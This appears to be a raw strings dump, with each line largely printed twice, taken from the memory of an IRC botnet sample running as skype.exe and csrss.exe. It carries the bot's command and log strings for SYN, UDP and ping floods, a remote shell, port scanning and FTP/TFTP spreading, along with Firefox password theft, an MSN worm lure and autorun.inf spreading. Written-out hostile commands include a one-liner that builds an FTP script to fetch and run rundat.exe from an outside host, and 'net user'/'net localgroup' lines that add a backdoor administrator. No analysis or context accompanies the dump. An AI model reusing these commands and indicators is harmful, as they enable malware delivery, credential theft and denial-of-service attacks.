ftp.exe
-s:%s
-s:%s
open %s
open %s
put %s
put %s
%s\%i%i%i.dll
%s\%i%i%i.dll
[FTP]: File not found: %s.
[FTP]: File not found: %s.
[MAIN]: Invalid login slot number: %d.
[MAIN]: Invalid login slot number: %d.
[MAIN]: No user logged in at slot: %d.
[MAIN]: No user logged in at slot: %d.
[MAIN]: %s
[MAIN]: %s
QUIT :%s
QUIT :%s
[MAIN]: Status: Ready. Bot Uptime: %s.
[MAIN]: Status: Ready. Bot Uptime: %s.
[MAIN]: Bot ID: %s.
[MAIN]: Bot ID: %s.
[THREADS]: Failed to start list thread, error: <%d>.
[THREADS]: Failed to start list thread, error: <%d>.
[MAIN]: Uptime: %s.
[MAIN]: Uptime: %s.
[CMD]: Remote shell ready.
[CMD]: Remote shell ready.
[CMD]: Couldn't open remote shell.
[CMD]: Couldn't open remote shell.
[CMD]: Remote shell already running.
[CMD]: Remote shell already running.
[TFTP]: Failed to start server thread, error: <%d>.
[TFTP]: Failed to start server thread, error: <%d>.
[TFTP]: Server started on Port: %d, File: %s, Request: %s.
[TFTP]: Server started on Port: %d, File: %s, Request: %s.
[TFTP]: Already running.
[TFTP]: Already running.
[MAIN]: Nick changed to: '%s'.
[MAIN]: Nick changed to: '%s'.
[MAIN]: Joined channel: '%s'.
[MAIN]: Joined channel: '%s'.
[MAIN]: Parted channel: '%s'.
[MAIN]: Parted channel: '%s'.
[MAIN]: IRC Raw: %s.
[MAIN]: IRC Raw: %s.
[THREADS]: Failed to kill thread: %s.
[THREADS]: Failed to kill thread: %s.
[THREADS]: Killed thread: %s.
[THREADS]: Killed thread: %s.
[THREADS]: Stopped: %d thread(s).
[THREADS]: Stopped: %d thread(s).
[MAIN]: Prefix changed to: '%c'.
[MAIN]: Prefix changed to: '%c'.
[SHELL]: Couldn't open file: %s
[SHELL]: Couldn't open file: %s
[SHELL]: File opened: %s
[SHELL]: File opened: %s
[MAIN]: Server changed to: '%s'.
[MAIN]: Server changed to: '%s'.
[DNS]: Lookup: %s -> %s.
[DNS]: Lookup: %s -> %s.
[FILE]: Deleted '%s'.
[FILE]: Deleted '%s'.
[VISIT]: Failed to start connection thread, error: <%d>.
[VISIT]: Failed to start connection thread, error: <%d>.
[VISIT]: URL: %s.
[VISIT]: URL: %s.
[CMD]: Commands: %s
[CMD]: Commands: %s
[CMD]: Error sending to remote shell.
[CMD]: Error sending to remote shell.
[MAIN]: Read file failed: %s
[MAIN]: Read file failed: %s
[MAIN]: Read file complete: %s
[MAIN]: Read file complete: %s
[MAIN]: Gethost: %s.
[MAIN]: Gethost: %s.
[MAIN]: Gethost: %s, Command: %s
[MAIN]: Gethost: %s, Command: %s
[MAIN]: Alias added: %s.
[MAIN]: Alias added: %s.
[MAIN]: Privmsg: %s: %s.
[MAIN]: Privmsg: %s: %s.
[MAIN]: Action: %s: %s.
[MAIN]: Action: %s: %s.
PART %s
PART %s
[MAIN]: Mode change: %s
[MAIN]: Mode change: %s
MODE %s
MODE %s
[CLONE]: Raw (%s): %s
[CLONE]: Raw (%s): %s
[CLONE]: Mode (%s): %s
[CLONE]: Mode (%s): %s
[CLONE]: Nick (%s): %s
[CLONE]: Nick (%s): %s
JOIN %s %s
JOIN %s %s
[MAIN]: Repeat not allowed in command line: %s
[MAIN]: Repeat not allowed in command line: %s
[MAIN]: Repeat: %s
[MAIN]: Repeat: %s
%s %s %s :%s
%s %s %s :%s
[UPDATE]: Failed to start download thread, error: <%d>.
[UPDATE]: Failed to start download thread, error: <%d>.
[UPDATE]: Downloading update from: %s.
[UPDATE]: Downloading update from: %s.
%s%s.exe
%s%s.exe
[EXEC]: Commands: %s
[EXEC]: Commands: %s
[EXEC]: Couldn't execute file.
[EXEC]: Couldn't execute file.
[CLONES]: Failed to start clone thread, error: <%d>.
[CLONES]: Failed to start clone thread, error: <%d>.
[CLONES]: Created on %s:%d, in channel %s.
[CLONES]: Created on %s:%d, in channel %s.
[DDoS]: Failed to start flood thread, error: <%d>.
[DDoS]: Failed to start flood thread, error: <%d>.
[DDoS]: Flooding: (%s:%s) for %s seconds.
[DDoS]: Flooding: (%s:%s) for %s seconds.
[DOWNLOAD]: Failed to start transfer thread, error: <%d>.
[DOWNLOAD]: Failed to start transfer thread, error: <%d>.
[DOWNLOAD]: Downloading URL: %s to: %s.
[DOWNLOAD]: Downloading URL: %s to: %s.
[REDIRECT]: Failed to start redirection thread, error: <%d>.
[REDIRECT]: Failed to start redirection thread, error: <%d>.
[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.
[REDIRECT]: TCP redirect created from: %s:%d to: %s:%d.
[SCAN]: Failed to start scan thread, error: <%d>.
[SCAN]: Failed to start scan thread, error: <%d>.
[SCAN]: Port scan started: %s:%d with delay: %d(ms).
[SCAN]: Port scan started: %s:%d with delay: %d(ms).
[%s] <%s> %s
[%s] <%s> %s
[%s] * %s %s
[%s] * %s %s
ACTION %s
ACTION %s
[UDP]: Failed to start flood thread, error: <%d>.
[UDP]: Failed to start flood thread, error: <%d>.
[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).
[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).
ICMP.dll not available
ICMP.dll not available
[PING]: Failed to start flood thread, error: <%d>.
[PING]: Failed to start flood thread, error: <%d>.
[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).
[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms).
[EMAIL]: Message sent to %s.
[EMAIL]: Message sent to %s.
helo $rndnick
helo $rndnick
mail from: <%s>
mail from: <%s>
rcpt to: <%s>
rcpt to: <%s>
subject: %s
subject: %s
from: %s
from: %s
udpflood
udpflood
c_privmsg
c_privmsg
. Failed to start flood thread, error: <%d>.
. Failed to start flood thread, error: <%d>.
. Flooding: (%s:%s) for %s seconds.
. Flooding: (%s:%s) for %s seconds.
ddos.supersyn
ddos.supersyn
c_join
c_join
c_nick
c_nick
privmsg
privmsg
[IDENT]: Server stopped. (%d thread(s) stopped.)
[IDENT]: Server stopped. (%d thread(s) stopped.)
mirccmd
mirccmd
c_rndnick
c_rndnick
join
join
nick
nick
tftp
tftp
tftpserver
tftpserver
[MAIN]: Login list complete.
[MAIN]: Login list complete.
%d. %s
%d. %s
-[Login List]-
-[Login List]-
[CMD]
[CMD]
cmdstop
cmdstop
ocmd
ocmd
opencmd
opencmd
[TFTP]
[TFTP]
tftpstop
tftpstop
supersyn.stop
supersyn.stop
TCP redirect
TCP redirect
rndnick
rndnick
$rndnick
$rndnick
NOTICE %s :
NOTICE %s :
PING %s
PING %s
VERSION %s
VERSION %s
[MAIN]: Joined channel: %s.
[MAIN]: Joined channel: %s.
[MAIN]: User: %s logged out.
[MAIN]: User: %s logged out.
:%s%s
:%s%s
NICK
NICK
NOTICE %s :%s
NOTICE %s :%s
[MAIN]: User %s logged out.
[MAIN]: User %s logged out.
PONG %s
PONG %s
%s Error: %s <%d>.
%s Error: %s <%d>.
explorer.exe
explorer.exe
%%comspec%% /c %s %s
%%comspec%% /c %s %s
del "%s"
del "%s"
%sdel.bat
%sdel.bat
%d.%d.%d.%d
%d.%d.%d.%d
[PING]: Finished sending pings to %s.
[PING]: Finished sending pings to %s.
[PING]: Error sending pings to %s.
[PING]: Error sending pings to %s.
[UDP]: Finished sending packets to %s.
[UDP]: Finished sending packets to %s.
[UDP]: Error sending pings to %s.
[UDP]: Error sending pings to %s.
[REDIRECT]: Failed to start client thread, error: <%d>.
[REDIRECT]: Failed to start client thread, error: <%d>.
[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.
[REDIRECT]: Client connection from IP: %s:%d, Server thread: %d.
[REDIRECT]: Failed to start connection thread, error: <%d>.
[REDIRECT]: Failed to start connection thread, error: <%d>.
[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.
[REDIRECT]: Client connection to IP: %s:%d, Server thread: %d.
PRIVMSG %s :%s
PRIVMSG %s :%s
[CMD]: Could not read data from proccess.
[CMD]: Could not read data from proccess.
[CMD]: Proccess has terminated.
[CMD]: Proccess has terminated.
[CMD]: Could not read data from proccess
[CMD]: Could not read data from proccess
[CMD]: Failed to start IO thread, error: <%d>.
[CMD]: Failed to start IO thread, error: <%d>.
[CMD]: Remote Command Prompt
[CMD]: Remote Command Prompt
cmd.exe
cmd.exe
[%s]|
[%s]|
[%d]%s
[%d]%s
[SCAN]: IP: %s Port: %d is open.
[SCAN]: IP: %s Port: %d is open.
[SCAN]: Scanning IP: %s, Port: %d.
[SCAN]: Scanning IP: %s, Port: %d.
tftp.exe -i get
tftp.exe -i get
IP: %s
IP: %s
[TFTP]: Failed to open file: %s.
[TFTP]: Failed to open file: %s.
[TFTP]: Error: socket() failed, returned: <%d>.
[TFTP]: Error: socket() failed, returned: <%d>.
%s: No %s thread found.
%s: No %s thread found.
%s: %s stopped. (%d thread(s) stopped.)
%s: %s stopped. (%d thread(s) stopped.)
[VISIT]: Failed to connect to HTTP server.
[VISIT]: Failed to connect to HTTP server.
[VISIT]: Invalid URL.
[VISIT]: Invalid URL.
[VISIT]: Failed to get requested URL from HTTP server.
[VISIT]: Failed to get requested URL from HTTP server.
[VISIT]: URL visited.
[VISIT]: URL visited.
zcÁ
zcÁ
[03-22-2014 13:18:45] [DOWNLOAD]: Opened: c:/windows/skype.exe.
[03-22-2014 13:18:45] [DOWNLOAD]: Opened: c:/windows/skype.exe.
ows/skype.exe @ 516.0 KB/sec.
ows/skype.exe @ 516.0 KB/sec.
.exe?dl=1 to: c:/windows/skype.exe[03-22-2014 13:18:45] [DOWNLOAD]: Downloaded 516.0 KB to c:/windows/skype.exe @ 516.0 KB/sec.
.exe?dl=1 to: c:/windows/skype.exe[03-22-2014 13:18:45] [DOWNLOAD]: Downloaded 516.0 KB to c:/windows/skype.exe @ 516.0 KB/sec.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #fkyou#.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #fkyou#.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 to: c:/windows/skype.ex
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 to: c:/windows/skype.ex
[03-22-2014 13:18:44] [MAIN]: Joined channel: #Security-Check.
[03-22-2014 13:18:44] [MAIN]: Joined channel: #Security-Check.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[03-22-2014 13:18:44] [DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[03-22-2014 13:18:44] [MAIN]: Connected to videos.p0rn-lover.us.
[03-22-2014 13:18:44] [MAIN]: Connected to videos.p0rn-lover.us.
[03-22-2014 13:17:57] [IDENTD]: Server running on Port: 113.
[03-22-2014 13:17:57] [IDENTD]: Server running on Port: 113.
[DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
[DOWNLOAD]: Downloading URL: ftp://upload:upload@178.33.232.15:8989/sys.exe to: c:/windows/bin.exe.
DOWNLOAD]: File download: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 (516KB transferred).
DOWNLOAD]: File download: http://directxex.com/uploads/1738599339.ms1.exe?dl=1 (516KB transferred).
e.exe.
e.exe.
%System%\ooulnvm.exe
%System%\ooulnvm.exe
00000000000000
00000000000000
skype.exe_1292:
.text
.text
guard32.dll
guard32.dll
sbiedll.dll
sbiedll.dll
advapi32.dll
advapi32.dll
kernel32.dll
kernel32.dll
skype.exe_1292_rwx_00401000_00005000:
guard32.dll
guard32.dll
sbiedll.dll
sbiedll.dll
advapi32.dll
advapi32.dll
kernel32.dll
kernel32.dll
csrss.exe_268:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t1SSSSh
t1SSSSh
SSSh8
SSSh8
PSShB
PSShB
msn.msg
msn.msg
msn.stop
msn.stop
login
login
firefox
firefox
join
join
USERENV.dll
USERENV.dll
VkKeyScanA
VkKeyScanA
keybd_event
keybd_event
USER32.dll
USER32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
TransactNamedPipe
TransactNamedPipe
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
WS2_32.dll
WS2_32.dll
ntpass
ntpass
Exploit FTPD: %d, Total: %d.
Exploit FTPD: %d, Total: %d.
%s: %d,
%s: %d,
%s Exploit Statistics:
%s Exploit Statistics:
cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i
cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i
%s.%s.%s.%s
%s.%s.%s.%s
%s Scan not active.
%s Scan not active.
%s Current IP: %s.
%s Current IP: %s.
%s Server started, Port: %i, File: %s.
%s Server started, Port: %i, File: %s.
%d.%d.%d.%d
%d.%d.%d.%d
%s Finished at %s:%d after %d minute(s) of scanning.
%s Finished at %s:%d after %d minute(s) of scanning.
%s %s:%d, Scan thread: %d, Sub-thread: %d.
%s %s:%d, Scan thread: %d, Sub-thread: %d.
%s Failed to initialize critical section, error: <%d>
%s Failed to initialize critical section, error: <%d>
%s Portscan: %s:%d open.
%s Portscan: %s:%d open.
Failed auth by %s(%s@%s)
Failed auth by %s(%s@%s)
Whats up %s? Im ready to rock!
Whats up %s? Im ready to rock!
Spy: %s!%s@%s (PM: "%s")
Spy: %s!%s@%s (PM: "%s")
Fail by: %s!%s@%s (Pass Tried: %s)
Fail by: %s!%s@%s (Pass Tried: %s)
%s out.
%s out.
%s already running: <%d>.
%s already running: <%d>.
Failed to start thread %s, error: <%d>.
Failed to start thread %s, error: <%d>.
[Current task] %s [System uptime] %s [Bot Uptime] %s
[Current task] %s [System uptime] %s [Bot Uptime] %s
Bot installed on: %s.
Bot installed on: %s.
Go fuck yourself %s.
Go fuck yourself %s.
MSN// Message & Zipfile sent to: %d contacts.
MSN// Message & Zipfile sent to: %d contacts.
Hey got new sex Pics from me %d. realy Sexy!
Hey got new sex Pics from me %d. realy Sexy!
MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.
MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.
Removed by: %s!%s@%s
Removed by: %s!%s@%s
Advapi.dll Failed
Advapi.dll Failed
PStore.dll Failed.
PStore.dll Failed.
%s Failed to parse command.
%s Failed to parse command.
%s Failed to start scan thread, error: <%d>.
%s Failed to start scan thread, error: <%d>.
%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.
%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.
%s No subnet class specified, try "-a" or "-b" or "-c"
%s No subnet class specified, try "-a" or "-b" or "-c"
%s Could not parse external IP.
%s Could not parse external IP.
%s Trying to get external IP.
%s Trying to get external IP.
%s Failed to start scan, no IP specified.
%s Failed to start scan, no IP specified.
%d.x.x.x
%d.x.x.x
%s Failed to start scan, port is invalid.
%s Failed to start scan, port is invalid.
%s Already scanning with %d threads. Too many specified.
%s Already scanning with %d threads. Too many specified.
Updating from %s (%s)
Updating from %s (%s)
%stempfile%d%d%d%d%d.exe
%stempfile%d%d%d%d%d.exe
ftp://%s:%s@%s:%s/%s path: %s
ftp://%s:%s@%s:%s/%s path: %s
sftp
sftp
net localgroup Administrateurs ASP.NET /add
net localgroup Administrateurs ASP.NET /add
net localgroup Administradors ASP.NET /add
net localgroup Administradors ASP.NET /add
net localgroup Administratoren ASP.NET /add
net localgroup Administratoren ASP.NET /add
net localgroup Administrator ASP.NET /add
net localgroup Administrator ASP.NET /add
net localgroup Administrators ASP.NET /add
net localgroup Administrators ASP.NET /add
net user ASP.NET hardcore /add
net user ASP.NET hardcore /add
SYN: Failed to start thread,error: (%d).
SYN: Failed to start thread,error: (%d).
SYN: --> (%s:%s) for (%s secs).
SYN: --> (%s:%s) for (%s secs).
FUCKING: --> (%s:%s) for (%s secs).
FUCKING: --> (%s:%s) for (%s secs).
Downloading %s and saving it to: %s.
Downloading %s and saving it to: %s.
Failed to start socks4 daemon (%s)
Failed to start socks4 daemon (%s)
Socks(4) server started on %s:%i
Socks(4) server started on %s:%i
Starting firefox pstore
Starting firefox pstore
FIREFOX Threads
FIREFOX Threads
Process Finished: "%s", Total Running Time: %s.
Process Finished: "%s", Total Running Time: %s.
File executed: %s
File executed: %s
Unable to create process: "%s"
Unable to create process: "%s"
%s Couldn't parse path, error: <%d>
%s Couldn't parse path, error: <%d>
%.1fkb downloaded to %s (%.1fkbps)
%.1fkb downloaded to %s (%.1fkbps)
Couldn't open file for writing: %s.
Couldn't open file for writing: %s.
Windows for Workgroups 3.1a
Windows for Workgroups 3.1a
WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195
WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195
Windows 2000 5.0
Windows 2000 5.0
Windows 2000 2195
Windows 2000 2195
PK11_CheckUserPassword
PK11_CheckUserPassword
PK11_GetInternalKeySlot
PK11_GetInternalKeySlot
softokn3.dll
softokn3.dll
sqlite3.dll
sqlite3.dll
nssutil3.dll
nssutil3.dll
plds4.dll
plds4.dll
nspr4.dll
nspr4.dll
mozcrt19.dll
mozcrt19.dll
nss3.dll
nss3.dll
plc4.dll
plc4.dll
%s %s:%s
%s %s:%s
SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
\profiles.ini
\profiles.ini
Application Data\Mozilla\Firefox
Application Data\Mozilla\Firefox
signons3.txt
signons3.txt
signons2.txt
signons2.txt
signons1.txt
signons1.txt
pipe\epmapper
pipe\epmapper
\\%s\
\\%s\
Windows 5.1
Windows 5.1
Windows 5.0
Windows 5.0
Windows 2000 LAN Manager*
Windows 2000 LAN Manager*
NT LAN Manager *.*
NT LAN Manager *.*
Windows Server 2003 *.*
Windows Server 2003 *.*
%s File transfer complete to IP: %s.
%s File transfer complete to IP: %s.
%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.
%s File transfer complete to IP: %s, File: %s, Size: %s bytes, Total sends: %i.
%s Started send to IP: %s.
%s Started send to IP: %s.
200 PORT command successful.
200 PORT command successful.
PORT
PORT
%s %s LIST request from: %s
%s %s LIST request from: %s
425 Passive not supported on this server
425 Passive not supported on this server
215 StnyFtpd
215 StnyFtpd
331 Password required
331 Password required
%s %s
%s %s
%s Couldn't open data connection to: %s:%i, error: <%d>.
%s Couldn't open data connection to: %s:%i, error: <%d>.
Ping Timeout? (%d-%d)%d/%d
Ping Timeout? (%d-%d)%d/%d
Login list completed!
Login list completed!
<%i> %s!%s@%s
<%i> %s!%s@%s
Logins:
Logins:
USER TbT * 0 :%s
USER TbT * 0 :%s
NICK %s
NICK %s
{%s-%s-%s-%s-%s}
{%s-%s-%s-%s-%s}
{iNF-%s-%s-%s-%s-%s}
{iNF-%s-%s-%s-%s-%s}
nigzss.txt
nigzss.txt
TskMultiChatForm.UnicodeClass
TskMultiChatForm.UnicodeClass
__oxFrame.class__
__oxFrame.class__
PASS %s
PASS %s
QUIT %s
QUIT %s
PONG %s
PONG %s
NICK
NICK
PRIVMSG
PRIVMSG
JOIN
JOIN
NOTICE %s :%s
NOTICE %s :%s
PRIVMSG %s :%s
PRIVMSG %s :%s
JOIN %s
JOIN %s
JOIN %s %s
JOIN %s %s
PART %s
PART %s
[%s|%s]
[%s|%s]
shlwapi.dll
shlwapi.dll
pstorec.dll
pstorec.dll
psapi.dll
psapi.dll
userenv.dll
userenv.dll
SQLDisconnect
SQLDisconnect
SQLFreeHandle
SQLFreeHandle
SQLAllocHandle
SQLAllocHandle
SQLExecDirect
SQLExecDirect
SQLSetEnvAttr
SQLSetEnvAttr
SQLDriverConnect
SQLDriverConnect
odbc32.dll
odbc32.dll
ShellExecuteA
ShellExecuteA
shell32.dll
shell32.dll
mpr.dll
mpr.dll
GetUdpTable
GetUdpTable
GetTcpTable
GetTcpTable
iphlpapi.dll
iphlpapi.dll
dnsapi.dll
dnsapi.dll
netapi32.dll
netapi32.dll
Mozilla/4.0 (compatible)
Mozilla/4.0 (compatible)
InternetCrackUrlA
InternetCrackUrlA
InternetOpenUrlA
InternetOpenUrlA
FtpPutFileA
FtpPutFileA
FtpGetFileA
FtpGetFileA
HttpSendRequestA
HttpSendRequestA
HttpOpenRequestA
HttpOpenRequestA
wininet.dll
wininet.dll
ws2_32.dll
ws2_32.dll
RegEnumKeyExA
RegEnumKeyExA
advapi32.dll
advapi32.dll
user32.dll
user32.dll
kernel32.dll
kernel32.dll
%s!%s@%s
%s!%s@%s
NICK {%s-%s-%s-%s-%s}
NICK {%s-%s-%s-%s-%s}
https:/
https:/
http:/
http:/
csrss.exe
csrss.exe
*!*@fbi.edu
*!*@fbi.edu
||FTP||
||FTP||
jayne.p0rn-lover.us
jayne.p0rn-lover.us
rundat.exe
rundat.exe
vids.p0rn-lover.us
vids.p0rn-lover.us
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
%s\%s
%s\%s
%s Done @ (%iKB Sec)
%s Done @ (%iKB Sec)
No %s thread found.
No %s thread found.
%s thread stopped.
%s thread stopped.
[.ShellClassInfo]
[.ShellClassInfo]
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
CLSID={645FF040-5081-101B-9F08-00AA002F954E}
\Desktop.ini
\Desktop.ini
\autorun.inf
\autorun.inf
icon=%SystemRoot%\system32\SHELL32.dll,4
icon=%SystemRoot%\system32\SHELL32.dll,4
http://www.whatismyip.com
http://www.whatismyip.com
http://checkip.dyndns.org
http://checkip.dyndns.org
del "%s">nul
del "%s">nul
if exist "%s" goto Repeat
if exist "%s" goto Repeat
ping 0.0.0.0>nul
ping 0.0.0.0>nul
%s\removeMe%i%i%i%i.bat
%s\removeMe%i%i%i%i.bat
%s%%s
%s%%s
%d day%s (%0.2d hours & %0.2d mins)
%d day%s (%0.2d hours & %0.2d mins)
%WinDir%\csrss.exe
%WinDir%\csrss.exe
193.138.244.231
193.138.244.231
192.168.220.133
192.168.220.133
231-ua-upclick.ipsystems.com.ua
231-ua-upclick.ipsystems.com.ua
||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 5 seconds for 0 minutes using 50 threads.
||SCAN|| Random Port Scan started on 192.168.x.x:445 with a delay of 5 seconds for 0 minutes using 50 threads.
||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.
||FTP|| Server started, Port: 8989, File: %WinDir%\csrss.exe.
csrss.exe_268_rwx_00400000_0005A000:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
t1SSSSh
t1SSSSh
SSSh8
SSSh8
PSShB
PSShB
msn.msg
msn.msg
msn.stop
msn.stop
login
login
firefox
firefox
join
join
USERENV.dll
USERENV.dll
VkKeyScanA
VkKeyScanA
keybd_event
keybd_event
USER32.dll
USER32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
TransactNamedPipe
TransactNamedPipe
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
RegCloseKey
RegCloseKey
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyExA
RegCreateKeyExA
ADVAPI32.dll
ADVAPI32.dll
WS2_32.dll
WS2_32.dll
ntpass
ntpass
Exploit FTPD: %d, Total: %d.
Exploit FTPD: %d, Total: %d.
%s: %d,
%s: %d,
%s Exploit Statistics:
%s Exploit Statistics:
cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i
cmd /c echo open jayne.p0rn-lover.us 8989 > i &echo user upload upload >> i &echo binary >> i &echo get rundat.exe >> i &echo quit >> i &ftp -n -s:i &rundat.exe&del i
%s.%s.%s.%s
%s.%s.%s.%s
%s Scan not active.
%s Scan not active.
%s Current IP: %s.
%s Current IP: %s.
%s Server started, Port: %i, File: %s.
%s Server started, Port: %i, File: %s.
%d.%d.%d.%d
%d.%d.%d.%d
%s Finished at %s:%d after %d minute(s) of scanning.
%s Finished at %s:%d after %d minute(s) of scanning.
%s %s:%d, Scan thread: %d, Sub-thread: %d.
%s %s:%d, Scan thread: %d, Sub-thread: %d.
%s Failed to initialize critical section, error: <%d>
%s Failed to initialize critical section, error: <%d>
%s Portscan: %s:%d open.
%s Portscan: %s:%d open.
Failed auth by %s(%s@%s)
Failed auth by %s(%s@%s)
Whats up %s? Im ready to rock!
Whats up %s? Im ready to rock!
Spy: %s!%s@%s (PM: "%s")
Spy: %s!%s@%s (PM: "%s")
Fail by: %s!%s@%s (Pass Tried: %s)
Fail by: %s!%s@%s (Pass Tried: %s)
%s out.
%s out.
%s already running: <%d>.
%s already running: <%d>.
Failed to start thread %s, error: <%d>.
Failed to start thread %s, error: <%d>.
[Current task] %s [System uptime] %s [Bot Uptime] %s
[Current task] %s [System uptime] %s [Bot Uptime] %s
Bot installed on: %s.
Bot installed on: %s.
Go fuck yourself %s.
Go fuck yourself %s.
MSN// Message & Zipfile sent to: %d contacts.
MSN// Message & Zipfile sent to: %d contacts.
Hey got new sex Pics from me %d. realy Sexy!
Hey got new sex Pics from me %d. realy Sexy!
MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.
MSN// Sent Stats - Messages: %d :: Files: %d :: Message & Files: %d.
Removed by: %s!%s@%s
Removed by: %s!%s@%s
Advapi.dll Failed
Advapi.dll Failed
PStore.dll Failed.
PStore.dll Failed.
%s Failed to parse command.
%s Failed to parse command.
%s Failed to start scan thread, error: <%d>.
%s Failed to start scan thread, error: <%d>.
%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.
%s %s Port Scan started on %s:%d with a delay of %d seconds for %d minutes using %d threads.
%s No subnet class specified, try "-a" or "-b" or "-c"
%s No subnet class specified, try "-a" or "-b" or "-c"
%s Could not parse external IP.
%s Could not parse external IP.
%s Trying to get external IP.
%s Trying to get external IP.
%s Failed to start scan, no IP specified.
%s Failed to start scan, no IP specified.
%d.x.x.x
%d.x.x.x
%s Failed to start scan, port is invalid.
%s Failed to start scan, port is invalid.
%s Already scanning with %d threads. Too many specified.
%s Already scanning with %d threads. Too many specified.
Updating from %s (%s)
Updating from %s (%s)
%stempfile%d%d%d%d%d.exe
%stempfile%d%d%d%d%d.exe
ftp://%s:%s@%s:%s/%s path: %s
ftp://%s:%s@%s:%s/%s path: %s
sftp
sftp
net localgroup Administrateurs ASP.NET /add
net localgroup Administrateurs ASP.NET /add
net localgroup Administradors ASP.NET /add
net localgroup Administradors ASP.NET /add
net localgroup Administratoren ASP.NET /add
net localgroup Administratoren ASP.NET /add
net localgroup Administrator ASP.NET /add
net localgroup Administrator ASP.NET /add
net localgroup Administrators ASP.NET /add
net localgroup Administrators ASP.NET /add
net user ASP.NET hardcore /add
net user ASP.NET hardcore /add
SYN: Failed to start thread,error: (%d).
SYN: Failed to start thread,error: (%d).
SYN: --> (%s:%s) for (%s secs).
SYN: --> (%s:%s) for (%s secs).
FUCKING: --> (%s:%s) for (%s secs).
FUCKING: --> (%s:%s) for (%s secs).
Downloading %s and saving it to: %s.
Downloading %s and saving it to: %s.
Failed to start socks4 daemon (%s)
Failed to start socks4 daemon (%s)
Socks(4) server started on %s:%i
Socks(4) server started on %s:%i
Starting firefox pstore
Starting firefox pstore
FIREFOX Threads
FIREFOX Threads
Process Finished: "%s", Total Running Time: %s.
Process Finished: "%s", Total Running Time: %s.
File executed: %s
File executed: %s
Unable to create process: "%s"
Unable to create process: "%s"
%s Couldn't parse path, error: <%d>
%s Couldn't parse path, error: <%d>
%.1fkb downloaded to %s (%.1fkbps)
%.1fkb downloaded to %s (%.1fkbps)
Couldn't open file for writing: %s.
Couldn't open file for writing: %s.
Windows for Workgroups 3.1a
Windows for Workgroups 3.1a
WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195
WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195
Windows 2000 5.0
Windows 2000 5.0
Windows 2000 2195
Windows 2000 2195
PK11_CheckUserPassword
PK11_CheckUserPassword
PK11_GetInternalKeySlot
PK11_GetInternalKeySlot
softokn3.dll
softokn3.dll
sqlite3.dll
sqlite3.dll
nssutil3.dll
nssutil3.dll
plds4.dll
plds4.dll
nspr4.dll
nspr4.dll
mozcrt19.dll
mozcrt19.dll
nss3.dll
nss3.dll
plc4.dll
plc4.dll
%s %s:%s
%s %s:%s
SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
\profiles.ini
\profiles.ini
Application Data\Mozilla\Firefox
Application Data\Mozilla\Firefox
signons3.txt
signons3.txt
signons2.txt
signons2.txt
signons1.txt
signons1.txt
pipe\epmapper
pipe\epmapper
\\%s\
\\%s\
Windows 5.1
Windows 5.1
Windows 5.0
Windows 5.0
Windows 2000 LAN Manager*
Windows 2000 LAN Manager*
NT LAN Manager *.*
NT LAN Manager *.*
Windows Server 2003 *.*
Windows Server 2003 *.*
%s File transfer complete to IP: %s.
